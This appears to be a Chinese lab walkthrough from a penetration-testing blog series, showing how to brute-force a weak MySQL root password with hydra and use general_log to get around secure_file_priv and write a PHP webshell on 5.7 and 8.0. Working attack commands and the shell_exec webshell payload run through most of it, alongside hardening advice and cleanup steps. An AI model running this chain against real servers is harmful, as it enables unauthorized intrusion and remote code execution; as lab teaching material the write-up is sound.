渗透测试实战从靶场搭建到渗透流程——第 8 篇 · 服务型靶标(上):MySQL 双版本写文件链

目 录

一、靶标与接入:从爆破到连接

[1.1 爆破与连接](#1.1 爆破与连接)

[二、INTO OUTFILE:被 secure_file_priv 拦住的第一条路](#二、INTO OUTFILE:被 secure_file_priv 拦住的第一条路)

[2.1 白名单内:成功](#2.1 白名单内:成功)

[2.2 白名单外:1290 报错](#2.2 白名单外:1290 报错)

[三、general_log 写文件:绕过 secure_file_priv 的正解](#三、general_log 写文件:绕过 secure_file_priv 的正解)

[3.1 8.0 对照:同样可行,管控在别处](#3.1 8.0 对照:同样可行,管控在别处)

四、版本差异与利用面总结

五、防御视角、验收与清场

[5.1 修复建议](#5.1 修复建议)

[5.2 验收标准](#5.2 验收标准)

[5.3 清场](#5.3 清场)

一、靶标与接入:从爆破到连接

服务型靶标的玩法与 Web 靶场不同:攻击入口从 HTTP 换成数据库协议,攻击面是「弱口令 + 服务端配置缺陷」。本篇靶标是第 1 篇部署的 MySQL 5.7.44(3307)与 8.0.46(3308),root/root 弱口令即切入点。

1.1 爆破与连接

hydra 爆破(先确认账号存在:nmap -p3307 --script mysql-brute 快速摸底)

hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://10.10.10.240:3307 -t 8

3307mysql host: 10.10.10.240 login: root password: root

连接:MySQL 8.0 必加 --skip-ssl(8.0 默认强制 TLS,旧客户端握手失败)

mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e "select version();"

mysql -h10.10.10.240 -P3308 -uroot -proot --skip-ssl -e "select version();"

5.7 返回 5.7.44-log,8.0 返回 8.0.46。两个版本就是一组对照组:同一套写文件链,两边表现完全不同------这正是本篇要讲的攻防演化。

二、INTO OUTFILE:被 secure_file_priv 拦住的第一条路

经典写文件姿势是 SELECT ... INTO OUTFILE,把查询结果落成服务器上的文件。先看变量约束:

mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e "show variables like 'secure_file_priv';"

预期(实测,两个版本一致):

Variable_name Value

secure_file_priv /var/lib/mysql-files/

2.1 白名单内:成功

mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e "select 'GL_MARK_OK' into outfile '/var/lib/mysql-files/gl.txt';"

docker exec mysql57 grep -c GL_MARK_OK /var/lib/mysql-files/gl.txt

1 → 写入成功。容器内验证,别只信 SQL 返回的 Query OK

2.2 白名单外:1290 报错

mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e "select 'X' into outfile '/var/www/html/x.php';"

预期(实测):ERROR 1290 (HY000):

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

1290 是本篇第一个关键学习点:secure_file_priv 从 MySQL 5.7.6 起默认指向专用目录,OUTFILE/LOAD_FILE 只能在该目录内活动------想把 webshell 写进 /var/www/html 直接撞墙。UDF 提权同理:它需要把 .so 写进 plugin_dir,而 plugin_dir 同样不在白名单内,写不进去,整条链在第一步就断(第 1 篇部署时用官方镜像默认配置,正是现实世界的主流形态)。

三、general_log 写文件:绕过 secure_file_priv 的正解

general_log(通用查询日志)的日志文件路径由 general_log_file 指定,而这两个变量不归 secure_file_priv 管。把日志文件指到 Web 目录、开日志,MySQL 就会把我们提交的 SQL 原文写进去------SQL 里带 PHP 代码,落盘即 webshell。

1) 开启日志并指向 Web 目录(以 5.7 为例)

mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e "set global general_log_file='/var/lib/mysql/shell.php'; set global general_log=on;"

2) 写入带 PHP 代码的 SQL(日志原样记录)

mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e "select '<?php echo \"GL_LOG_OK_\".shell_exec(\$_GET0);?>';"

3) 容器内确认落盘内容

docker exec mysql57 grep -c GL_LOG_OK /var/lib/mysql/shell.php

1 → 成功

两个实操细节:① 路径按实际 Web 根调整,靶场 MySQL 官方镜像没有 Web 服务,演示时写 /var/lib/mysql/ 并用 docker exec grep 验证落盘即可,原理与写 /var/www/html 完全等价;② PHP 代码里的 $_GET 等符号在 SQL 单引号内原样保留,转义层数多了容易错,建议先在本地把 PHP 串写好、再用双引号包 SQL。

3.1 8.0 对照:同样可行,管控在别处

mysql -h10.10.10.240 -P3308 -uroot -proot --skip-ssl -e "set global general_log_file='/var/lib/mysql-files/s80.txt'; set global general_log=on; select 'M80_MARK';"

docker exec mysql80 grep -c M80_MARK /var/lib/mysql-files/s80.txt

1 → 8.0 同样打通。general_log 链两个版本都活着

为什么这条链没被堵:日志路径是 DBA 的合法运维配置(排障刚需),官方不能一刀切禁掉。它的防线转移到了别处------Web 与 MySQL 分离部署(数据库上根本没有 Web 目录)、应用账号不授 SUPER 权限、审计 general_log 的开启行为。攻防两端都值得记住这个「合法功能成为攻击面」的模式。

四、版本差异与利用面总结

|-----------------|---------------------------------------------------|------------------------|
| 对比项 | MySQL 5.7.44 | MySQL 8.0.46 |
| 连接 | root/root,需 --skip-ssl(5.7.34+ 默认 TLS) | root/root,需 --skip-ssl |
| INTO OUTFILE | secure_file_priv=/var/lib/mysql-files/,白名单外报 1290 | 同左 |
| UDF 提权 | 写 plugin_dir 被白名单拦截 | 同左 |
| general_log 写文件 | 可用(核心考点) | 可用(核心考点) |
| 文件写入可控性 | 日志路径任意指定 | 日志路径任意指定 |

利用面排序(从弱口令开始):爆破 root → 探测 secure_file_priv → OUTFILE 白名单判定 → general_log 落文件 → 结合 Web 解析成 RCE。每一步都有明确的成败判据,不靠猜。

五、防御视角、验收与清场

5.1 修复建议

  • root 禁止远程登录(bind-address=127.0.0.1 + user 表 host 限制),杜绝弱口令爆破面。
  • secure_file_priv 设为专用目录(或 NULL),Web 目录绝不放入白名单。
  • 应用账号最小权限:只授业务库增删改查,绝不授 FILE/SUPER/global 变量修改权。
  • 监控 general_log 开关变更(审计 set global 语句),生产环境默认关闭。

5.2 验收标准

两个版本都能连接(含 --skip-ssl 细节);OUTFILE 白名单内成功、白名单外 1290(两个现象都要拿到);general_log 链在两个版本均通过容器内 grep 确认落盘。

5.3 清场

关日志、删文件------general_log 不关会持续写盘,属于「开了不关」的脏状态

mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e "set global general_log=off;"

mysql -h10.10.10.240 -P3308 -uroot -proot --skip-ssl -e "set global general_log=off;"

docker exec mysql57 sh -c "rm -f /var/lib/mysql/shell.php /var/lib/mysql-files/gl.txt"

docker exec mysql80 sh -c "rm -f /var/lib/mysql-files/s80.txt"

终态确认:两台 general_log 都应为 OFF,落盘文件都应为 0

mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -N -e "show variables like 'general_log';" | grep -c OFF

下一篇继续服务型靶标:Redis 8.10.2 未授权访问。那里会看到一个更有教学价值的反面案例------三条经典 Redis RCE 链在新版上全部失效,而「主动出网」的验证思路依然可用。

相关推荐
piaoyiren1 小时前
Python FTP 服务端项目详细功能文档
网络·数据库·python
少年的范儿2 小时前
Windows 安装 MySQL 8.4 教程(ZIP 解压版):配置 my.ini、初始化数据库与启动服务
数据库·windows·mysql
l1t2 小时前
DeepSeek总结的AI 智能体应该用哪种语言搜索其记忆:SQL 还是 SPARQL?
数据库·人工智能·sql
麦壳饼2 小时前
SonnetDB:PID 调参实战:阶跃响应分析与参数解读
数据库·sonnetdb
神仙别闹2 小时前
基于Python+MySQL实现(Web)个人博客系统
python·mysql·php
猿究院--Cu-Sn合金2 小时前
Spring Boot + DeepSeek 求职 Agent 实践:工具注册、多轮调用与简历 JD 对比
数据库·人工智能·spring boot·后端·deepseek
IvorySQL2 小时前
PostgreSQL 日报|Anonymizer 3.3 修复高危漏洞(10 月 29 日)
数据库·postgresql
geovindu3 小时前
SQL Data Sampling and Approximation Techniques using postgreSQL 18
大数据·数据库·数据仓库·sql·postgresql·数据库开发·数据库架构
zyseo83 小时前
谷歌SEO 关键词研究完整方法论:从种子词到优先级矩阵
数据库·人工智能·矩阵